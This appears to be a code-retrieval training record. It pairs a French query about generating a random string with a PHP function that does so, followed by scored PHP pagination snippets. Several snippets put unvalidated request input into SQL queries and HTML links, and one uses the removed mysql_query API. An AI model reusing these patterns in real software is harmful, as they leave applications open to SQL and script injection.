tabla\r\n\t\t\t$this->table->set_heading(\t$this->lang_item(\"id\"),\r\n\t\t\t\t\t\t\t\t\t\t$this->lang_item(\"orden_num\"),\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\t$this->lang_item(\"descripcion\"),\r\n\t\t\t\t\t\t\t\t\t\t$this->lang_item(\"fecha_registro\"),\r\n\t\t\t\t\t\t\t\t\t\t$this->lang_item(\"entrega_fecha\"),\r\n\t\t\t\t\t\t\t\t\t\t$this->lang_item(\"estatus\"),\r\n\t\t\t\t\t\t\t\t\t\t$this->lang_item(\"acciones\")\r\n\t\t\t\t\t\t\t\t\t);\r\n\t\t\t// Generar tabla\r\n\t\t\t$this->table->set_template($tbl_plantilla);\r\n\t\t\t$tabla = $this->table->generate($tbl_data);\r\n\t\t\t// XLS\r\n\t\t\t$buttonTPL = array( 'text' => $this->lang_item(\"btn_xlsx\"), \r\n\t\t\t\t\t\t\t'iconsweets' => 'fa fa-file-excel-o',\r\n\t\t\t\t\t\t\t'href' => base_url($this->modulo.'/'.$this->submodulo).'/export_xlsx?filtro='.base64_encode($filtro)\r\n\t\t\t\t\t\t\t);\r\n\t\t}else{\r\n\t\t\t$msg = $this->lang_item(\"msg_query_null\");\r\n\t\t\t$tabla = alertas_tpl('', $msg ,false);\r\n\t\t}\r\n\t\t$tabData['filtro'] = (isset($filtro) && $filtro!=\"\") ? sprintf($this->lang_item(\"msg_query_search\",false),$total_rows , $filtro) : \"\";\r\n\t\t$tabData['tabla'] = $tabla;\r\n\t\t$tabData['paginador'] = $paginador;\r\n\t\t$tabData['item_info'] = $this->pagination_bootstrap->showing_items($limit, $offset, $total_rows);\r\n\t\t$tabData['export'] = button_tpl($buttonTPL);\r\n\r\n\t\tif($this->ajax_post(false)){\r\n\t\t\techo json_encode( $this->load_view_unique($uri_view , $tabData, true));\r\n\t\t}else{\r\n\t\t\treturn $this->load_view_unique($uri_view , $tabData, true);\r\n\t\t}\r\n\t}", "public function find_limit($limit = 100, $offset = 0 )\n {\n $query= $this->db->query(\"\n SELECT *\n FROM app_ip\n LIMIT $offset , $limit \"); \n return $query->result();\n }", "function paginate($perpage=50)\n\t{\n\t\tif($perpage == 0) return ''; // zero means unlimited\n\n\t\t$page = $this->page->param('p_p', 1);\n\t\t$perpage = $this->page->param('p_pp', $perpage);\n\t\t$offset = max(0,($page-1) * $perpage);\n \n\t\treturn \"$perpage OFFSET $offset\";\n\t}", "public function getOffset() {\n return ($this->getCurrentPage() - 1) * $this->getItemCountPerPage();\n }", "function Paging(){\n\tif(isset($_GET['page']))\t$page=$_GET['page'];\n\telse $page=5;\n\n\t$onePage=2;\n\t$allPage=ceil($num_row/$onePage);\n\n\tif($page < 1 && $page > $allPage)\texit;\n\n\t$oneSection=2;\n\t$currentSection=ceil($page/$oneSection);\n\t$allSection=ceil($allPage/$oneSection);\n\n\t$firstPage=($currentSection * $oneSection) - ($oneSection - 1);\n\n\tif($currentSection == $allSection)\t$lastPage=$allPage;\n\telse \t$lastPage=$currentSection * $oneSection;\n\n\t$prevPage=(($currentSection-1) * $oneSection);\n\t$nextPage=(($currentSection+1) * $oneSection)-($oneSection-1);\n\n\t$paging='<ul>';\n\n\tif($page != 1)\t\t\t\t\t\t$paging .='<li><a href=\"./Board_list.php?page=1\">First</a></li>';\n\tif($currentSection != 1)\t\t\t\t$paging .='<li><a href=\"./Board_list.php?page='.$prevPage.'\">Prev</a></li>';\n\n\tfor($i=$firstPage;$i<=$lastPage;$i++){\n\t\tif($i==$page)\t\t\t\t\t$paging.='<li>'.$i.'</li>';\n\t\telse \t\t\t\t\t\t\t$paging.='<li><a href=\"./Board_list.php?page='.$i.'\">'.$i.'</a></li>';\n\t}\n\n\tif($currentSection != $allSection)\t$paging.='<li><a href=\"./Board_list.php?page='.$nextPage.'\">Next</a></li>';\n\tif($page!=$allPage)\t\t\t\t\t$paging.='<li><a href=\"./Board_list.php?page='.$allPage.'\">End</a></li>';\n\t\n\t$paging.='</ul>';\n\n\t$currentLimit=($onePage * $page)-$onePage;\n\t$sqlLimit='limit '.$currentLimit.','.$onePage;\n\t\n\t$sql=\"select * from board \".$sqlLimit;\n\t$result=$con->query($sql);\n\techo $sql;\n}", "public function paginationAll() {\n\n $query = \"select * from `rental` ORDER BY id DESC\";\n $res = mysql_query($query);\n $num = mysql_num_rows($res);\n return (int) $num;\n }", "public function getProducts($valueLimit,$valueOffset){\n global $connect;\n $query = $connect->PDO->prepare(\"SELECT * FROM `pagTab` LIMIT ? OFFSET ?\");\n $query->execute(array($valueLimit,$valueOffset));\n $row = $query->fetchAll();\n return $row;\n }", "function addLimit( $limit , $offset )\n{\n\tif(!empty($limit))\n\t{\n\t\t$limit = ($limit < 0)?0:$limit;\n\t\tif(!empty($offset) )\n\t\t{\n\t\t\t$offset = ($offset < 0)?0:$offset;\n\t\t\treturn \" LIMIT $offset , $limit \" ;\n\t\t}\n\t\telse\n\t\t\treturn \" LIMIT 0 , $limit \" ;\n\t}\n\telse\n\t\treturn \" LIMIT 0 , 10 \" ;\n}", "function buildNavigation($pageNum_Recordset1,$totalPages_Recordset1,$prev_Recordset1,$next_Recordset1,$separator=\" | \",$max_links=10, $show_page=true)\n{\n GLOBAL $maxRows_rs_forn,$totalRows_rs_forn;\n\t$pagesArray = \"\"; $firstArray = \"\"; $lastArray = \"\";\n\tif($max_links<2)$max_links=2;\n\tif($pageNum_Recordset1<=$totalPages_Recordset1 && $pageNum_Recordset1>=0)\n\t{\n\t\tif ($pageNum_Recordset1 > ceil($max_links/2))\n\t\t{\n\t\t\t$fgp = $pageNum_Recordset1 - ceil($max_links/2) > 0 ? $pageNum_Recordset1 - ceil($max_links/2) : 1;\n\t\t\t$egp = $pageNum_Recordset1 + ceil($max_links/2);\n\t\t\tif ($egp >= $totalPages_Recordset1)\n\t\t\t{\n\t\t\t\t$egp = $totalPages_Recordset1+1;\n\t\t\t\t$fgp = $totalPages_Recordset1 - ($max_links-1) > 0 ? $totalPages_Recordset1 - ($max_links-1) : 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t$fgp = 0;\n\t\t\t$egp = $totalPages_Recordset1 >= $max_links ? $max_links : $totalPages_Recordset1+1;\n\t\t}\n\t\tif($totalPages_Recordset1 >= 1) {\n\t\t\t#\t------------------------\n\t\t\t#\tSearching for $_GET vars\n\t\t\t#\t------------------------\n\t\t\t$_get_vars = '';\t\t\t\n\t\t\tif(!empty($_GET) || !empty($HTTP_GET_VARS)){\n\t\t\t\t$_GET = empty($_GET) ? $HTTP_GET_VARS : $_GET;\n\t\t\t\tforeach ($_GET as $_get_name => $_get_value) {\n\t\t\t\t\tif ($_get_name != \"pageNum_rs_forn\") {\n\t\t\t\t\t\t$_get_vars .= \"&$_get_name=$_get_value\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$successivo = $pageNum_Recordset1+1;\n\t\t\t$precedente = $pageNum_Recordset1-1;\n\t\t\t$firstArray = ($pageNum_Recordset1 > 0) ? \"<a href=\\\"$_SERVER[PHP_SELF]?pageNum_rs_forn=$precedente$_get_vars\\\">$prev_Recordset1</a>\" : \"$prev_Recordset1\";\n\t\t\t# ----------------------\n\t\t\t# page numbers\n\t\t\t# ----------------------\n\t\t\tfor($a = $fgp+1; $a <= $egp; $a++){\n\t\t\t\t$theNext = $a-1;\n\t\t\t\tif($show_page)\n\t\t\t\t{\n\t\t\t\t\t$textLink = $a;\n\t\t\t\t} else {\n\t\t\t\t\t$min_l = (($a-1)*$maxRows_rs_forn) + 1;\n\t\t\t\t\t$max_l = ($a*$maxRows_rs_forn >= $totalRows_rs_forn) ? $totalRows_rs_forn : ($a*$maxRows_rs_forn);\n\t\t\t\t\t$textLink = \"$min_l - $max_l\";\n\t\t\t\t}\n\t\t\t\t$_ss_k = floor($theNext/26);\n\t\t\t\tif ($theNext != $pageNum_Recordset1)\n\t\t\t\t{\n\t\t\t\t\t$pagesArray .= \"<a href=\\\"$_SERVER[PHP_SELF]?pageNum_rs_forn=$theNext$_get_vars\\\">\";\n\t\t\t\t\t$pagesArray .= \"$textLink</a>\" . ($theNext < $egp-1 ? $separator : \"\");\n\t\t\t\t} else {\n\t\t\t\t\t$pagesArray .= \"$textLink\" . ($theNext < $egp-1 ? $separator : \"\");\n\t\t\t\t}\n\t\t\t}\n\t\t\t$theNext = $pageNum_Recordset1+1;\n\t\t\t$offset_end = $totalPages_Recordset1;\n\t\t\t$lastArray = ($pageNum_Recordset1 < $totalPages_Recordset1) ? \"<a href=\\\"$_SERVER[PHP_SELF]?pageNum_rs_forn=$successivo$_get_vars\\\">$next_Recordset1</a>\" : \"$next_Recordset1\";\n\t\t}\n\t}\n\treturn array($firstArray,$pagesArray,$lastArray);\n}", "private function getStart()\n\t{\n//\t\tprint '#'.$this->getPage().'-'.$this->getRowsPerPage().'#';\n\t\t$iStart = ( ($this->getPage() - 1) * $this->getRowsPerPage() );\n\t\tif($iStart < 0)\n\t\t{\n\t\t\t$iStart = 0;\n\t\t}\n//\t\tprint $iStart.'*';\n\t\treturn $iStart;\n//\t\tprint $this->start .'*';\n\t}", "function sqladdlimit($cpage=1)\r\n{\r\n if($cpage<1||$cpage>$this->page_count)$cpage=1;\r\n $cpage--;\r\n $query=\" Limit \".($cpage * $this->page_set).\",\".$this->page_set ;\r\n return $query;\r\n}", "public function get_pagenum()\n {\n }", "public function get_offset()\n {\n }", "public function listar($number_items='',$offset='')\n {\n $where = array('CodEnt'=>$this->entidad,'Cod_Tabla'=>'TORD','Des_corta'=>'OT','cod_argumento>= '=>'14');\n $this->db->select('cod_tabla,cod_argumento,valor_2,Des_larga,Des_corta');\n $this->db->from($this->table,$number_items,$offset);\n $this->db->where($where);\n $this->db->order_by('Des_larga'); \n $query = $this->db->get();\n $resultado = array();\n if($query->num_rows>0){\n $resultado = $query->result();\n }\n return $resultado;\n }", "function execute($sql, $db, $type){\r\n global $total_records, $row, $numtoshow;\r\n\r\n // number of records to show at a time\r\n $numtoshow = 10; //$this->numrowsperpage;\r\n // $row is actually the number of the row of \r\n // records (the page number)\r\n if (!isset($row)) $row = 0;\r\n // the record start number for the SQL query\r\n $start = $row * $numtoshow;\r\n // check the database type\r\n if ($type == \"mysqli\") {\r\n $result = mysqli_query($db, $sql);\r\n $total_records = mysqli_num_rows($result);\r\n \t$last = ceil($total_records/$numtoshow);\r\n// This makes sure $last cannot be less than 1\r\nif($last < 1){\r\n\t$last = 1;\r\n}\r\n// Establish the $pagenum variable\r\n$pagenum = 1;\r\n\t\r\n\tif(isset($_GET['pn'])){\r\n\t$pagenum = preg_replace('#[^0-9]#', '', $_GET['pn']);\r\n}\r\n// This makes sure the page number isn't below 1, or more than our $last page\r\nif ($pagenum < 1) { \r\n $pagenum = 1; \r\n} else if ($pagenum > $last) { \r\n $pagenum = $last; \r\n}\r\n// This sets the range of rows to query for the chosen $pagenum\r\n$limit = 'LIMIT ' .($pagenum - 1) * $numtoshow .',' .$numtoshow;\r\n\t //$sql .= \" LIMIT $start, $numtoshow\";\r\n\t $sql .= $limit = 'LIMIT ' .($pagenum - 1) * $numtoshow .',' .$numtoshow;\r\n $result = mysqli_query( $db,$sql);\r\n \r\n} elseif ($type == \"pgsql\") {\r\n $result = pg_Exec($db, $sql);\r\n $total_records = pg_NumRows($result);\r\n $sql .= \" LIMIT $numtoshow, $start\";\r\n $result = pg_Exec($db, $sql);\r\n }\r\n // returns the result set so the user \r\n // can handle the data\r\n\r\n\r\n$sql = \"SELECT * FROM `russian` $limit\";\r\n$query = mysqli_query($db, $sql);\r\n// This shows the user what page they are on, and the total number of pages\r\n$textline1 = \"Russian Words\";\r\n$textline2 = \"Page <b>$pagenum</b> of <b>$last</b>\";\r\n// Establish the $paginationCtrls variable\r\n$paginationCtrls = '';\r\n// If there is more than 1 page worth of results\r\n$paginationCtrls .= '&nbsp; <a href=\"'.$_SERVER['PHP_SELF'].'?pn=\"1\"> <</a> ';\r\nif($last != 1){\r\n\t\r\n\t/* First we check if we are on page one. If we are then we don't need a link to \r\n\t the previous page or the first page so we do nothing. If we aren't then we\r\n\t generate links to the first page, and to the previous page. */\r\n\tif ($pagenum > 1) {\r\n $previous = $pagenum - 1;\r\n\t\t$paginationCtrls .= '<a href=\"'.$_SERVER['PHP_SELF'].'?pn='.$previous.'\">Previous</a> &nbsp; &nbsp; ';\r\n\t\t// Render clickable number links that should appear on the left of the target page number\r\n\t\tfor($i = $pagenum-4; $i < $pagenum; $i++){\r\n\t\t\tif($i > 0){\r\n\t\t $paginationCtrls .= '<a href=\"'.$_SERVER['PHP_SELF'].'?pn='.$i.'\">'.$i.'</a> &nbsp; ';\r\n\t\t\t}\r\n\t }\r\n }\r\n\t// Render the target page number, but without it being a link\r\n\t$paginationCtrls .= ''.$pagenum.' &nbsp; ';\r\n\t// Render clickable number links that should appear on the right of the target page number\r\n\tfor($i = $pagenum+1; $i <= $last; $i++){\r\n\t\t$paginationCtrls .= '<a href=\"'.$_SERVER['PHP_SELF'].'?pn='.$i.'\">'.$i.'</a> &nbsp; ';\r\n\t\tif($i >= $pagenum+4){\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\t// This does the same as above, only checking if we are on the last page, and then generating the \"Next\"\r\n if ($pagenum != $last) {\r\n $next = $pagenum + 1;\r\n $paginationCtrls .= ' &nbsp; <a href=\"'.$_SERVER['PHP_SELF'].'?pn='.$next.'\">Next</a> ';\r\n\t\t$paginationCtrls .= ' &nbsp; <a href=\"'.$_SERVER['PHP_SELF'].'?pn='.$last.'\">>></a> ';\r\n }\r\n\t\r\n}\r\n\r\necho \"<div>\r\n <h2 align= 'center'>\" . $textline1 .\"</h2>\r\n </div><div align ='center'>\" . $textline2 .\"</div><p>\r\n \r\n <div id=\" . \"'pagination_controls' align='center'>\" . $paginationCtrls . \"</div>\r\n</div>\";\r\n return $result;\r\n }", "public function getItemsPerPage();" ]
[ "0.7509943", "0.7215283", "0.7015721", "0.6987117", "0.69842833", "0.6978349", "0.69593406", "0.6957629", "0.6935899", "0.6920727", "0.67876554", "0.67762125", "0.6764957", "0.67638093", "0.6714127", "0.66993743", "0.66770816", "0.6581128", "0.65735185", "0.65625846", "0.6521131", "0.6516244", "0.65050554", "0.648497", "0.6473104", "0.64513385", "0.64513385", "0.6436196", "0.64330935", "0.6429329", "0.6413228", "0.6410363", "0.64096093", "0.6387344", "0.63470787", "0.634587", "0.63376355", "0.63311344", "0.63305604", "0.63149226", "0.63135755", "0.62999266", "0.6287805", "0.62781173", "0.62606794", "0.62595516", "0.62348783", "0.6224222", "0.62204975", "0.6219605", "0.6207948", "0.6207749", "0.6207018", "0.62017965", "0.62016875", "0.6192167", "0.6186242", "0.61859274", "0.6179706", "0.6169646", "0.6150454", "0.614122", "0.61299217", "0.612013", "0.6113604", "0.61123896", "0.6112328", "0.61072534", "0.61034155", "0.6086195", "0.60811925", "0.60739183", "0.6053313", "0.6051329", "0.60491073", "0.60476685", "0.60454106", "0.6038323", "0.6034575", "0.60293704", "0.6017316", "0.6005901", "0.6005085", "0.60046613", "0.6002095", "0.5997742", "0.59973896", "0.5992191", "0.59838086", "0.5983714", "0.5971301", "0.5952082", "0.59499866", "0.59493715", "0.5935807", "0.5934752", "0.59253967", "0.59145373", "0.5914535", "0.59141093" ]
0.69235164
9
getChaine Genere une chaine aleatoire
function getChaine($long = 8){ $chaine = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $str = ''; for($u = 1; $u <= $long; $u++) { $nb = strlen($chaine); $nb = mt_rand(0,($nb-1)); $str .= $chaine[$nb]; } return $str; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getChapeau();", "public function getNom();", "public function getChaine_id()\n {\n return $this->chaine_id;\n }", "public function getLieu(): string\r\n {\r\n return $this->Lieu;\r\n }", "function getChambrehospi(){\n return $this->chambre;\n }", "public function getContenu(): string\n {\n return $this->contenu;\n }", "function difundir() {\n\n // La funcion obtener_frase esta heredado del pariente Orador\n $frase = $this->obtener_frase();\n\n // Convirtir a mayusculos\n $frase_mayusculas = strtoupper($frase);\n\n echo $frase_mayusculas;\n\n }", "public function getNom(){\n\n }", "public function getNom():string{\r\n\r\n\r\n\r\n return $this->nom;\r\n\r\n\r\n\r\n\r\n \t\t\t}", "function getNom($numAbonne){\n\t\tglobal $serv;\n\t\t$req = \"SELECT Distinct Nom FROM abonnes WHERE Code=\\\"$numAbonne\\\";\";\n\t\t$res = db_execSQL($req,$serv);\n\t\t$resultat = mysql_fetch_assoc($res);\n\t\treturn $resultat['Nom'];\t\t\n\t}", "public function prueba()\n {\n return 'hola mundo';\n }", "public function getFullName2()\n {\n return \"Silvi Lila\";\n }", "public function getNomeMedico() {\n return ucwords($this->_nome); // imposta la lettera maiuscola a tutte le parole\n }", "public function getChapo()\n {\n return $this->chapo;\n }", "public function getChien()\n {\n return $this->chien;\n }", "public function getNome();", "public function getNome();", "public function getNomAlternatif()\n {\n $this->logDebug(\" [\".__FUNCTION__.\"] /Ligne: \".__LINE__.\"/ DEBUT; \");\n\n $strNomAlter = \"\";\n \n if ($this->getId() == Budget_typeTable::RESTITUE)\n {\n $strNomAlter = libelle('msg_libelle_restitution');\n } else\n {\n $strNomAlter = libelle('msg_libelle_allocation');\n }\n\n $this->logDebug(\" [\".__FUNCTION__.\"] /Ligne: \".__LINE__.\"/ FIN; \");\n\n return $strNomAlter;\n }", "public function getContrasenia():string{return $this->contrasenia;}", "public function get_per_nombre_completo() {\n return $this->atletas_nombre_completo;\n }", "function buenosDias(){\n return \"Hola! buenos días!!\".salto;\n}", "public function obtener_nombre()\n {\n echo \" el nombre es del alumno es: \" .$this -> nombre; \n }", "public function getNom(): string\r\n {\r\n return $this->nom;\r\n }", "public function getTitre(): string\n {\n return $this->titre;\n }", "public function bersuara()\n {\n return \"DARAWET ANJING DAWET\";\n }", "public function getTitulaire(): string\n {\n return $this->titulaire;\n }", "public function percobaan()\n {\n \t$a = \"Ahmad Muhaimin\";\n \treturn \"Nama Saya Adalah \".$a;\n }", "public function getFabricante():string{\n return $this->fabricante;\n }", "function content($valCherche, $chaine){\r\n $i=0;\r\n while(($i<laTaille($chaine)) && ($valCherche!=$chaine[$i])){\r\n $i++;\r\n }\r\n if($i==laTaille($chaine)){\r\n $retour = \"faux\";\r\n }\r\n else{\r\n $retour = \"vrai\";\r\n }\r\n return $retour;\r\n }", "public function getFullName()\n {\n return \"Enrisa Hasanaj\";\n }", "public function getNumero_chambre()\n{\nreturn $this->numero_chambre;\n}", "function getNombre(){\n\t\treturn $this->categoria->getNombre;\n\t}", "public function getNom() : string{\n return $this->nom;\n }", "public function getAutNom(){\n\t\t\treturn $this->autnom;\n\t\t}", "public function getNomBateau(){\r\n return $this->_nomBateau;\r\n }", "public function getPrenom() : string{\n return $this->prenom;\n }", "private function socioLoguedo()\n {\n $socio = Auth()->user()->Socio;\n // STRTPUPPER - Transforma un string A mayusciula\n $patrocinador = strtoupper($socio->nombresSocio . ' ' . $socio->apellidoPaternoSocio . ' ' . $socio->apellidoMaternoSocio);\n return $patrocinador;\n }", "function get_title_lectura($lectura)\n{\n $cadena = $lectura->libro_nombre . ' ' . $lectura->capitulo . ': ' . $lectura->inicio\n . '-' . $lectura->final;\n\n return $cadena;\n}", "public function accion(){\n \t$accion = $this->accion;\n \tif ($accion == 'CREAR') {\n \t\t$accion = \"CREACION\";\n \t}else{\n \t\t$accion = \"EDICION\";\n \t}\n \treturn $accion;\n }", "public function getCognomeMedico() {\n return ucwords($this->_cognome);\n }", "public function getUsername(): string\n {\n return $this->getCorreo();\n }", "public function getNombreEmpresa(){\n $empresa=DatosEmpresa::datosGenerales($this->idempresa);\n if($empresa==null)\n return '';\n else\n return $empresa->razonsocial;\n }", "function get_realizado_pend_por($dni_usu){\n\t$connect=@mysqli_connect(server,user,pass) or die('Database connect error');\n\t@mysqli_select_db($connect,database)or die('Database not found');\n\tmysqli_set_charset($connect, \"utf8mb4\");\n\t\n\t$cons_pers = \"SELECT apellidos_usu,nombres_usu FROM usuario WHERE dni_usu='$dni_usu'\";\n\t$resp_pers = mysqli_query($connect,$cons_pers);\n\t$name = \"\";\n\tif($row = mysqli_fetch_array($resp_pers)){\n\t\t$apellidos = $row['apellidos_usu'];\n\t\t$nombres = $row['nombres_usu'];\n\t\t$name = $nombres.' '.$apellidos;\n\t\t$name = mb_convert_case($name, MB_CASE_UPPER, \"UTF-8\");\n\t}else{\n\t\t$name = \"--\";\n\t}\n\treturn $name;\n}", "public function getNom () {\n if (key_exists(self::UTILISATEUR_REF, $_SESSION)) {\n return $_SESSION[self::UTILISATEUR_REF][self::NOM_REF];\n }\n return \"\";\n }", "protected function getContaFormatada()\n {\n return substr($this->convenio->getBanco()->getConta(), 0, 5);\n }", "function getNombre()\n\t{\n\t\treturn '<h2>nuevo</h2>';\n\t}", "function stringLetrasDescubiertas($coleccionLetras){\n $pal = \"\";\n \n /*>>> Completar el cuerpo de la función, respetando lo indicado en la documentacion <<<*/\n \n return $pal;\n}", "public function gethistoria()\n {\n if (is_null(Insthistoria::find(0))) {\n return '';\n }\n $contenidohistoria = Insthistoria::find(0);\n\n return $contenidohistoria->contenido;\n\n }", "function getNombre(){\t\treturn $this->mNombre;\t}", "public function getDirecteur(): string\n {\n return (string) $this->directeur;\n }", "public function getNombre()\r\n {\r\n return \"DVD capa simple\";\r\n }", "public function code()\n {\n $inventaire = $this->em->getRepository(\"AppBundle:Inventaire\")->findOneBy(['statut'=>true], ['id'=>'DESC']);\n //dump($inventaire->getReference());die();\n if ($inventaire){\n $id = $inventaire->getId() + 1;\n if ($id < 10) $reference = 'A00'.$id;\n elseif ($id<100) $reference = 'A0'.$id;\n else $reference = 'A'.$id;\n return $reference;\n }else{\n $reference = 'A001';\n return $reference;\n }\n }", "public static function fentrada($cad){\n\t$uno=substr($cad, 0, 2);\n\t$dos=substr($cad, 3, 2);\n\t$tres=substr($cad, 6, 4);\n\t$cad2 = ($tres.\"/\".$dos.\"/\".$uno);\n\treturn $cad2;\n}", "public function getnomdomaine() {\r\n\t\treturn $this->nomdomaine;\r\n\t}", "private function calculateBelfioreCode()\n {\n return strtoupper($this->subject->getBelfioreCode());\n }", "public function getNombre_convenio() {\n return $this->nombre_convenio;\n }", "public function getFullName()\n {\n return \"Brand Citozi\";\n }", "function nom_auteur($id){\n\t\t$requete = 'SELECT nom, prenom FROM identifiant WHERE id=\"'.$id.'\"';\n\t\t$donnee = connexion( $requete);\n\t\t$ligne = mysql_fetch_assoc($donnee);\n\t\treturn $ligne['prenom'].' '.$ligne['nom'];\n\t}", "public function nom_alien()\r\n{\r\n return $this->_nom_alien;\r\n}", "function cons_titular($ced)\r\n\t{\r\n\t \t$sql=\"SELECT * FROM slc_beneficiario WHERE ced_titular=\".$ced;\r\n\t\t$result=mysql_query($sql,$this->conexion);\r\n\t\t//echo $sql;\r\n\t\tif ($result)\r\n\t\t { \r\n\t\t\twhile($reg= mysql_fetch_row($result))\r\n\t\t\t {\r\n\t\t\t if($reg[1]==$ced)\r\n\t\t\t { $cad=$reg[0].\"**\".$reg[1].\"**\".$reg[2].\"**\".$reg[3];\r\n\t\t\t return $cad;\r\n\t\t\t\t }\r\n\t\t\t else\r\n\t\t\t\t return false; \t \r\n\t\t\t }\r\n\t\t }\t \r\n\t\telse\r\n\t\t\t return false;\r\n\t}", "function getNome($codice) {\n\t$nome=\"\";\n\t$connessione=dbConnectionData::getMysqli();\t//CONNESSIONE AL DATABASE\n\ttry {\n\t\tif ($connessione->connect_errno) {\n\t\t\tthrow new Exception(\"Connessione fallita: \".$connessione->connect_error.\".\");\n\t\t} else {\n\t\t\t$query=\"SELECT nome FROM Gruppi WHERE idGruppo=\\\"\".$codice.\"\\\"\";\t//CREAZIONE DELLA QUERY\n\t\t\tif (!$result=$connessione->query($query)) {\n\t\t\t\t$page .= \"Query non valida: \".$connessione->error.\".\";\n\t\t\t} else {\n\t\t\t\tif ($result->num_rows>0) {\n\t\t\t\t\t$row=$result->fetch_array(MYSQLI_ASSOC);\n\t\t\t\t\t$nome=$row['nome'];\n\t\t\t\t}\n\t\t\t\t$result->free();\n\t\t\t}\n\t\t\t$connessione->close();\t//CHIUSURA CONNESSIONE\n\t\t}\n\t} catch (Exception $e){\n\t\t$page .= \"Errore: dati non recuperati (\".$e->getMessage().\").\";\n\t}\n\treturn $nome;\n}", "function getIngrediente($id){\n\tif($id == 1) return \"Pepperoni\";\n\tif($id == 2) return \"Aceitunas\";\n\tif($id == 3) return \"Carne\";\n}", "function convMajuscule($valeur){\r\n if($valeur>=\"a\" && $valeur<=\"z\"){\r\n $codeValeur = ord($valeur) - 32;\r\n }\r\n return chr($codeValeur);\r\n }", "public function getNameLukasBodnariuc(): string{\r\n return $this->nameLukasBodnariuc . \" \" . $this->surnameLukasBodnariuc;\r\n }", "public static function Mod_Conexao_Get_Nome($chave){\n $percorrer = self::Mod_Conexao();\n foreach($percorrer as &$value){\n if(strtoupper($chave)===strtoupper($value['chave'])){\n return $value['nome'];\n }\n }\n throw new \\Exception('Tag de Conexão não encontrado. '.$chave,404);\n }", "public function getNombreCompleto() {\n\t\treturn $this->txt_username . ' ' . $this->txt_apellido_paterno . ' ' . $this->txt_apellido_materno;\n\t}", "public function getNomMembre()\n {\n return $this->nom_membre;\n }", "public function getFullName(){\n\t\treturn $this->nombre.' '.$this->apellido;\n\t}", "public function getCriadoEm()\n {\n return $this->criadoEm;\n }", "public function getNom()\n { \n \n return $this->_nom;\n }", "public function getCodeChantier(): ?string {\n return $this->codeChantier;\n }", "public function getCodeChantier(): ?string {\n return $this->codeChantier;\n }", "public function getCodeChantier(): ?string {\n return $this->codeChantier;\n }", "public function getCodeChantier(): ?string {\n return $this->codeChantier;\n }", "public function getCodeChantier(): ?string {\n return $this->codeChantier;\n }", "public function getOrgaName();", "function obtenirIdNomGroupesAHeberger ($connexion) {\r\n\r\n $req = \"SELECT id, nom FROM Groupe WHERE hebergement='O' ORDER BY id\";\r\n $stmt = $connexion -> prepare ($req);\r\n $stmt -> execute ();\r\n return $stmt;\r\n\r\n }", "public function getNom() {\n return strval($this->nom);\n }", "function getNombre(){\n //Creamos la consulta\n $sql = \"SELECT nombre FROM usuarios WHERE id_usuario = \".$this->id_user.\";\";\n //obtenemos el array\n $data = $this->getArraySQL($sql);\n //obtenemos el primer elemento, ya que así no tenemos que extraerlo posteriormente\n return $data[0][0];\n }", "public function get_nom(){ return $this->_nom;}", "public function get_nom(){ return $this->_nom;}", "protected function getCodeCaisse()\r\n {\r\n $table = $this->getDbManager()->get('Sbm\\Db\\System\\Libelles');\r\n return $table->getCode('Caisse', 'DFT');\r\n }", "function mot($chaine){\r\n $retourFinal = \"faux\";\r\n for($i=0;$i<laTaille($chaine);$i++){\r\n if(testAlphabet($chaine[$i])==\"vrai\"){\r\n $retour[$i]=\"vrai\";\r\n }\r\n else{\r\n $retour[$i]=\"faux\";\r\n }\r\n }\r\n $j=0;\r\n while($j<laTaille($chaine) && $retour[$j]==\"vrai\"){\r\n $j++;\r\n }\r\n if($j==laTaille($chaine)){\r\n $retourFinal = \"vrai\";\r\n }\r\n return $retourFinal;\r\n }", "function getNom()\n {\n return $this->_Nom;\n }", "function chMajuscule($valeur){\r\n $i=0;\r\n while($i < laTaille($valeur)){\r\n if($valeur[$i]>=\"a\" && $valeur[$i]<=\"z\"){\r\n $codeValeur = ord($valeur[$i]) - 32;\r\n echo chr($codeValeur);\r\n }\r\n else{\r\n echo $valeur[$i];\r\n }\r\n $i=$i+1;\r\n }\r\n }", "public function getNome() {\n return $this->oCgm->getNome();\n }", "function getNombre(){\n\t\treturn $this->nombre;\n\t}", "function get_aula ($id_aula){\n $sql=\"SELECT nombre \n FROM aula \n WHERE id_aula=$id_aula\";\n $aula=toba::db('gestion_aulas')->consultar($sql);\n \n return ($aula[0]['nombre']);\n }", "public function getNomConnecter()\n\t{\n\n\t\treturn $this->nom;\n\t}", "public function getNom() { return $this->nom; }", "public function get_name();", "public function get_name();", "public function get_name();", "function obtenirNomGroupe ($connexion, $id) {\r\n\r\n $req = \"SELECT nom FROM Groupe WHERE id=?\";\r\n $stmt = $connexion -> prepare ($req);\r\n $stmt -> execute (array ($id));\r\n return $stmt -> fetchColumn ();\r\n\r\n }", "function getfield(){\r\n // Талбаруудын утгыг авах\r\n }", "public function obtenerNombre() {\n return $this->nombreModelo;\n }", "public function getNOMBRE()\r\n {\r\n return $this->NOMBRE;\r\n }", "public function getNom()\n {\n return $this->Nom;\n }", "public function getTitlu()\n {\n return $this->titlu;\n }", "public function accueil()\n {\n }" ]
[ "0.7269542", "0.68788034", "0.685946", "0.67183954", "0.6679367", "0.6667835", "0.6498579", "0.6372938", "0.63711834", "0.6291786", "0.62608105", "0.62557226", "0.6230172", "0.61892766", "0.6182567", "0.6173766", "0.6173766", "0.61720693", "0.6156046", "0.6134509", "0.6108377", "0.6090645", "0.60696137", "0.60652083", "0.6061982", "0.6060661", "0.6051959", "0.605117", "0.6048877", "0.60306156", "0.60268515", "0.6023694", "0.6007202", "0.6004113", "0.5983311", "0.5978657", "0.5966794", "0.59663844", "0.59603196", "0.59472626", "0.5941984", "0.593978", "0.5939689", "0.5924441", "0.5922022", "0.5921891", "0.5921226", "0.59160966", "0.5902659", "0.58963174", "0.5855322", "0.5854895", "0.58535147", "0.58525103", "0.5848438", "0.58461773", "0.5841111", "0.58410543", "0.58378315", "0.5832217", "0.5820088", "0.58199424", "0.5812622", "0.5807653", "0.58062816", "0.5795425", "0.57942116", "0.5785879", "0.5782483", "0.5773511", "0.5770714", 